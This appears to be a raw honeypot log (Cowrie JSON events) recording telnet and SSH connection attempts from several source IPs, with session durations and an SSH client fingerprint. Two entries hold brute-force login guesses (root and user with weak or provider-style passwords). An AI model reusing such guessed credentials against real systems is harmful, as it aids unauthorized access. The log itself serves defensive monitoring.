16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T19:47:05.784467Z","src_ip":"94.156.152.18","session":"ea3b36f740e7","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":35.48386311531067,"message":"Connection lost after 35 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T19:47:06.002603Z","src_ip":"62.210.97.77","session":"54875d5c1aa5","protocol":"telnet"}
{"eventid":"cowrie.login.failed","username":"root","password":"QUEENVPS#4VCPU16GBAMD","message":"login attempt [root/QUEENVPS#4VCPU16GBAMD] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T19:47:06.167515Z","src_ip":"94.156.152.18","session":"ea3b36f740e7","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":34.71135401725769,"message":"Connection lost after 34 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T19:47:06.605572Z","src_ip":"62.210.97.77","session":"290516093f96","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":34.55338525772095,"message":"Connection lost after 34 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T19:47:06.875893Z","src_ip":"62.210.97.77","session":"905ebeefa7a3","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":"1.6","message":"Connection lost after 1.6 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T19:47:07.301256Z","src_ip":"94.156.152.18","session":"ea3b36f740e7","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":43.62044882774353,"message":"Connection lost after 43 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T19:47:08.070296Z","src_ip":"38.54.119.93","session":"f501605edf44","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"165.232.131.181","src_port":37748,"dst_ip":"10.17.0.5","dst_port":23,"session":"9eb91c8afd29","protocol":"telnet","message":"New connection: 165.232.131.181:37748 (10.17.0.5:23) [session: 9eb91c8afd29]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T19:47:08.227154Z"}
{"eventid":"cowrie.session.connect","src_ip":"38.54.119.93","src_port":39762,"dst_ip":"10.17.0.5","dst_port":23,"session":"294547e51c21","protocol":"telnet","message":"New connection: 38.54.119.93:39762 (10.17.0.5:23) [session: 294547e51c21]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T19:47:08.306347Z"}
{"eventid":"cowrie.session.connect","src_ip":"62.210.97.77","src_port":43048,"dst_ip":"10.17.0.5","dst_port":23,"session":"723af47e0e93","protocol":"telnet","message":"New connection: 62.210.97.77:43048 (10.17.0.5:23) [session: 723af47e0e93]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T19:47:09.561243Z"}
{"eventid":"cowrie.session.closed","duration":4.3074657917022705,"message":"Connection lost after 4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T19:47:09.769613Z","src_ip":"38.54.119.93","session":"d35d149f39ef","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"62.210.97.77","src_port":43050,"dst_ip":"10.17.0.5","dst_port":23,"session":"1608ce22bbf8","protocol":"telnet","message":"New connection: 62.210.97.77:43050 (10.17.0.5:23) [session: 1608ce22bbf8]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T19:47:10.053031Z"}
{"eventid":"cowrie.session.connect","src_ip":"62.210.97.77","src_port":43062,"dst_ip":"10.17.0.5","dst_port":23,"session":"f64dc611ea56","protocol":"telnet","message":"New connection: 62.210.97.77:43062 (10.17.0.5:23) [session: f64dc611ea56]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T19:47:10.223624Z"}
{"eventid":"cowrie.session.closed","duration":35.20296359062195,"message":"Connection lost after 35 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T19:47:10.644348Z","src_ip":"62.210.97.77","session":"b099dce9d738","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"62.210.97.77","src_port":43068,"dst_ip":"10.17.0.5","dst_port":23,"session":"511430ebadf6","protocol":"telnet","message":"New connection: 62.210.97.77:43068 (10.17.0.5:23) [session: 511430ebadf6]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T19:47:12.547957Z"}
{"eventid":"cowrie.session.connect","src_ip":"65.60.27.33","src_port":41486,"dst_ip":"10.17.0.5","dst_port":23,"session":"2a8f058d2ab0","protocol":"telnet","message":"New connection: 65.60.27.33:41486 (10.17.0.5:23) [session: 2a8f058d2ab0]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T19:47:13.727017Z"}
{"eventid":"cowrie.session.connect","src_ip":"62.210.97.77","src_port":43074,"dst_ip":"10.17.0.5","dst_port":23,"session":"b58d36a2e754","protocol":"telnet","message":"New connection: 62.210.97.77:43074 (10.17.0.5:23) [session: b58d36a2e754]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T19:47:14.403891Z"}
{"eventid":"cowrie.session.closed","duration":36.49752449989319,"message":"Connection lost after 36 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T19:47:14.599731Z","src_ip":"62.210.97.77","session":"a8475bfa24f1","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":42.53069281578064,"message":"Connection lost after 42 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T19:47:14.916585Z","src_ip":"65.60.27.33","session":"ac41c35eed49","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"62.210.97.77","src_port":43080,"dst_ip":"10.17.0.5","dst_port":23,"session":"5608141a1c02","protocol":"telnet","message":"New connection: 62.210.97.77:43080 (10.17.0.5:23) [session: 5608141a1c02]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T19:47:15.350917Z"}
{"eventid":"cowrie.session.closed","duration":37.02462601661682,"message":"Connection lost after 37 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T19:47:15.454389Z","src_ip":"62.210.97.77","session":"3ede63aa28fb","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":39.513325691223145,"message":"Connection lost after 39 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T19:47:16.024798Z","src_ip":"65.60.27.33","session":"eac17bdf9348","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":43.73898887634277,"message":"Connection lost after 43 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T19:47:16.451325Z","src_ip":"65.60.27.33","session":"d1a35ee90b65","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":36.51578402519226,"message":"Connection lost after 36 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T19:47:16.770402Z","src_ip":"62.210.97.77","session":"3cb2cb383370","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":38.84877800941467,"message":"Connection lost after 38 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T19:47:18.015411Z","src_ip":"62.210.97.77","session":"8c0754bebadf","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":33.98156762123108,"message":"Connection lost after 33 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T19:47:18.212671Z","src_ip":"62.210.97.77","session":"b2087723b304","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"62.210.97.77","src_port":52940,"dst_ip":"10.17.0.5","dst_port":23,"session":"1f165b83158a","protocol":"telnet","message":"New connection: 62.210.97.77:52940 (10.17.0.5:23) [session: 1f165b83158a]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T19:47:18.779140Z"}
{"eventid":"cowrie.session.connect","src_ip":"165.232.131.181","src_port":41414,"dst_ip":"10.17.0.5","dst_port":23,"session":"968e20650af9","protocol":"telnet","message":"New connection: 165.232.131.181:41414 (10.17.0.5:23) [session: 968e20650af9]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T19:47:20.764503Z"}
{"eventid":"cowrie.session.closed","duration":35.1244592666626,"message":"Connection lost after 35 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T19:47:21.286734Z","src_ip":"62.210.97.77","session":"035c2f271643","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"62.210.97.77","src_port":52950,"dst_ip":"10.17.0.5","dst_port":23,"session":"1c489caa1cb8","protocol":"telnet","message":"New connection: 62.210.97.77:52950 (10.17.0.5:23) [session: 1c489caa1cb8]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T19:47:22.246143Z"}
{"eventid":"cowrie.session.connect","src_ip":"65.60.27.33","src_port":52012,"dst_ip":"10.17.0.5","dst_port":23,"session":"2c67ffd6b9bf","protocol":"telnet","message":"New connection: 65.60.27.33:52012 (10.17.0.5:23) [session: 2c67ffd6b9bf]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T19:47:22.360186Z"}
{"eventid":"cowrie.session.closed","duration":34.129093170166016,"message":"Connection lost after 34 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T19:47:22.467715Z","src_ip":"62.210.97.77","session":"3039a40c2446","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":42.5580153465271,"message":"Connection lost after 42 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T19:47:23.051782Z","src_ip":"65.60.27.33","session":"5902fd6fcef3","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"62.210.97.77","src_port":52960,"dst_ip":"10.17.0.5","dst_port":23,"session":"9b65f674d9b5","protocol":"telnet","message":"New connection: 62.210.97.77:52960 (10.17.0.5:23) [session: 9b65f674d9b5]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T19:47:23.159370Z"}
{"eventid":"cowrie.session.closed","duration":35.06616830825806,"message":"Connection lost after 35 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T19:47:24.737510Z","src_ip":"62.210.97.77","session":"46e10e210d39","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":41.06047010421753,"message":"Connection lost after 41 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T19:47:24.795954Z","src_ip":"62.210.97.77","session":"3b8254c61a21","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":36.932289361953735,"message":"Connection lost after 36 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T19:47:24.897038Z","src_ip":"62.210.97.77","session":"46fca291f220","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"62.210.97.77","src_port":52968,"dst_ip":"10.17.0.5","dst_port":23,"session":"2fdac819e517","protocol":"telnet","message":"New connection: 62.210.97.77:52968 (10.17.0.5:23) [session: 2fdac819e517]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T19:47:25.419151Z"}
{"eventid":"cowrie.session.closed","duration":35.69293451309204,"message":"Connection lost after 35 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T19:47:25.994813Z","src_ip":"62.210.97.77","session":"3d49dc91c249","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":37.91731286048889,"message":"Connection lost after 37 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T19:47:26.879097Z","src_ip":"62.210.97.77","session":"a78de7516c95","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"62.210.97.77","src_port":52972,"dst_ip":"10.17.0.5","dst_port":23,"session":"7bf0d8cbbf8e","protocol":"telnet","message":"New connection: 62.210.97.77:52972 (10.17.0.5:23) [session: 7bf0d8cbbf8e]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T19:47:27.594726Z"}
{"eventid":"cowrie.session.connect","src_ip":"62.210.97.77","src_port":52986,"dst_ip":"10.17.0.5","dst_port":23,"session":"ea8f4a0bc864","protocol":"telnet","message":"New connection: 62.210.97.77:52986 (10.17.0.5:23) [session: ea8f4a0bc864]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T19:47:27.901514Z"}
{"eventid":"cowrie.session.connect","src_ip":"62.210.97.77","src_port":52824,"dst_ip":"10.17.0.5","dst_port":23,"session":"481251dc6d4f","protocol":"telnet","message":"New connection: 62.210.97.77:52824 (10.17.0.5:23) [session: 481251dc6d4f]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T19:47:29.746974Z"}
{"eventid":"cowrie.session.closed","duration":33.31472897529602,"message":"Connection lost after 33 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T19:47:29.895839Z","src_ip":"62.210.97.77","session":"ec92e23041d0","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"62.210.97.77","src_port":52834,"dst_ip":"10.17.0.5","dst_port":23,"session":"48f6a56935ec","protocol":"telnet","message":"New connection: 62.210.97.77:52834 (10.17.0.5:23) [session: 48f6a56935ec]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T19:47:30.227766Z"}
{"eventid":"cowrie.session.connect","src_ip":"62.210.97.77","src_port":52848,"dst_ip":"10.17.0.5","dst_port":23,"session":"10d338d30879","protocol":"telnet","message":"New connection: 62.210.97.77:52848 (10.17.0.5:23) [session: 10d338d30879]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T19:47:32.732487Z"}
{"eventid":"cowrie.session.closed","duration":36.81820631027222,"message":"Connection lost after 36 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T19:47:33.170293Z","src_ip":"62.210.97.77","session":"c7f91ba51bbb","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"165.232.131.181","src_port":47644,"dst_ip":"10.17.0.5","dst_port":23,"session":"02fde665bebf","protocol":"telnet","message":"New connection: 165.232.131.181:47644 (10.17.0.5:23) [session: 02fde665bebf]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T19:47:33.358506Z"}
{"eventid":"cowrie.session.connect","src_ip":"62.210.97.77","src_port":52856,"dst_ip":"10.17.0.5","dst_port":23,"session":"9b5bedc1da27","protocol":"telnet","message":"New connection: 62.210.97.77:52856 (10.17.0.5:23) [session: 9b5bedc1da27]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T19:47:34.321675Z"}
{"eventid":"cowrie.session.closed","duration":39.74636363983154,"message":"Connection lost after 39 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T19:47:34.868838Z","src_ip":"62.210.97.77","session":"04bb69ef1c7e","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":32.47964334487915,"message":"Connection lost after 32 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T19:47:35.908412Z","src_ip":"165.232.131.181","session":"43349d997e50","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"65.60.27.33","src_port":41286,"dst_ip":"10.17.0.5","dst_port":23,"session":"5fe373e38610","protocol":"telnet","message":"New connection: 65.60.27.33:41286 (10.17.0.5:23) [session: 5fe373e38610]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T19:47:38.194745Z"}
{"eventid":"cowrie.session.connect","src_ip":"165.232.131.181","src_port":49538,"dst_ip":"10.17.0.5","dst_port":23,"session":"1a68dc0f8e1b","protocol":"telnet","message":"New connection: 165.232.131.181:49538 (10.17.0.5:23) [session: 1a68dc0f8e1b]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T19:47:38.271939Z"}
{"eventid":"cowrie.session.closed","duration":47.9774649143219,"message":"Connection lost after 47 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T19:47:38.958492Z","src_ip":"165.232.131.181","session":"88ddb162b34b","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":35.39284348487854,"message":"Connection lost after 35 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T19:47:40.334201Z","src_ip":"62.210.97.77","session":"a97b78c987f5","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":48.709439754486084,"message":"Connection lost after 48 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T19:47:40.787034Z","src_ip":"165.232.131.181","session":"6e0f0ea5a8a9","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"62.210.97.77","src_port":55880,"dst_ip":"10.17.0.5","dst_port":23,"session":"be21be397d69","protocol":"telnet","message":"New connection: 62.210.97.77:55880 (10.17.0.5:23) [session: be21be397d69]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T19:47:41.377595Z"}
{"eventid":"cowrie.session.connect","src_ip":"62.210.97.77","src_port":55890,"dst_ip":"10.17.0.5","dst_port":23,"session":"afa99813d403","protocol":"telnet","message":"New connection: 62.210.97.77:55890 (10.17.0.5:23) [session: afa99813d403]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T19:47:41.644537Z"}
{"eventid":"cowrie.session.closed","duration":38.548413038253784,"message":"Connection lost after 38 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T19:47:42.570922Z","src_ip":"62.210.97.77","session":"f884dced07f3","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"187.16.96.250","src_port":51306,"dst_ip":"10.17.0.5","dst_port":22,"session":"a31261875f52","protocol":"ssh","message":"New connection: 187.16.96.250:51306 (10.17.0.5:22) [session: a31261875f52]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T19:47:42.974277Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.11.1","message":"Remote SSH version: SSH-2.0-libssh_0.11.1","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T19:47:42.979856Z","src_ip":"187.16.96.250","session":"a31261875f52","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"03a80b21afa810682a776a7d42e5e6fb","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: 03a80b21afa810682a776a7d42e5e6fb","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T19:47:43.099987Z","src_ip":"187.16.96.250","session":"a31261875f52","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"user","password":"12345678","message":"login attempt [user/12345678] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T19:47:43.597401Z","src_ip":"187.16.96.250","session":"a31261875f52","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"62.210.97.77","src_port":55898,"dst_ip":"10.17.0.5","dst_port":23,"session":"94d170c0b63a","protocol":"telnet","message":"New connection: 62.210.97.77:55898 (10.17.0.5:23) [session: 94d170c0b63a]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T19:47:43.675379Z"}
{"eventid":"cowrie.session.closed","duration":33.64625072479248,"message":"Connection lost after 33 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T19:47:43.869765Z","src_ip":"62.210.97.77","session":"f64dc611ea56","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"65.60.27.33","src_port":49114,"dst_ip":"10.17.0.5","dst_port":23,"session":"8674f8d93dc2","protocol":"telnet","message":"New connection: 65.60.27.33:49114 (10.17.0.5:23) [session: 8674f8d93dc2]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T19:47:44.682116Z"}
{"eventid":"cowrie.session.closed","duration":"1.7","message":"Connection lost after 1.7 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T19:47:44.716737Z","src_ip":"187.16.96.250","session":"a31261875f52","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":32.71146893501282,"message":"Connection lost after 32 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T19:47:45.259321Z","src_ip":"62.210.97.77","session":"511430ebadf6","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":35.829952001571655,"message":"Connection lost after 35 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T19:47:45.882870Z","src_ip":"62.210.97.77","session":"1608ce22bbf8","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"38.54.119.93","src_port":39478,"dst_ip":"10.17.0.5","dst_port":23,"session":"e003b46d574a","protocol":"telnet","message":"New connection: 38.54.119.93:39478 (10.17.0.5:23) [session: e003b46d574a]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T19:47:47.159452Z"}
{"eventid":"cowrie.session.closed","duration":37.89771556854248,"message":"Connection lost after 37 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T19:47:47.458847Z","src_ip":"62.210.97.77","session":"723af47e0e93","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"62.210.97.77","src_port":38028,"dst_ip":"10.17.0.5","dst_port":23,"session":"f4210f745249","protocol":"telnet","message":"New connection: 62.210.97.77:38028 (10.17.0.5:23) [session: f4210f745249]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T19:47:48.962941Z"}
{"eventid":"cowrie.session.closed","duration":34.73616433143616,"message":"Connection lost after 34 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T19:47:49.139935Z","src_ip":"62.210.97.77","session":"b58d36a2e754","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":35.267096281051636,"message":"Connection lost after 35 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T19:47:50.618013Z","src_ip":"62.210.97.77","session":"5608141a1c02","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"62.210.97.77","src_port":38042,"dst_ip":"10.17.0.5","dst_port":23,"session":"0caf8d32cb3b","protocol":"telnet","message":"New connection: 62.210.97.77:38042 (10.17.0.5:23) [session: 0caf8d32cb3b]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T19:47:51.724971Z"}
{"eventid":"cowrie.session.closed","duration":38.58643937110901,"message":"Connection lost after 38 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T19:47:52.313350Z","src_ip":"65.60.27.33","session":"2a8f058d2ab0","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":34.31432580947876,"message":"Connection lost after 34 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T19:47:53.093326Z","src_ip":"62.210.97.77","session":"1f165b83158a","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":46.428064584732056,"message":"Connection lost after 46 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T19:47:54.734297Z","src_ip":"38.54.119.93","session":"294547e51c21","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":34.06776213645935,"message":"Connection lost after 34 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T19:47:56.313538Z","src_ip":"62.210.97.77","session":"1c489caa1cb8","protocol":"telnet"}
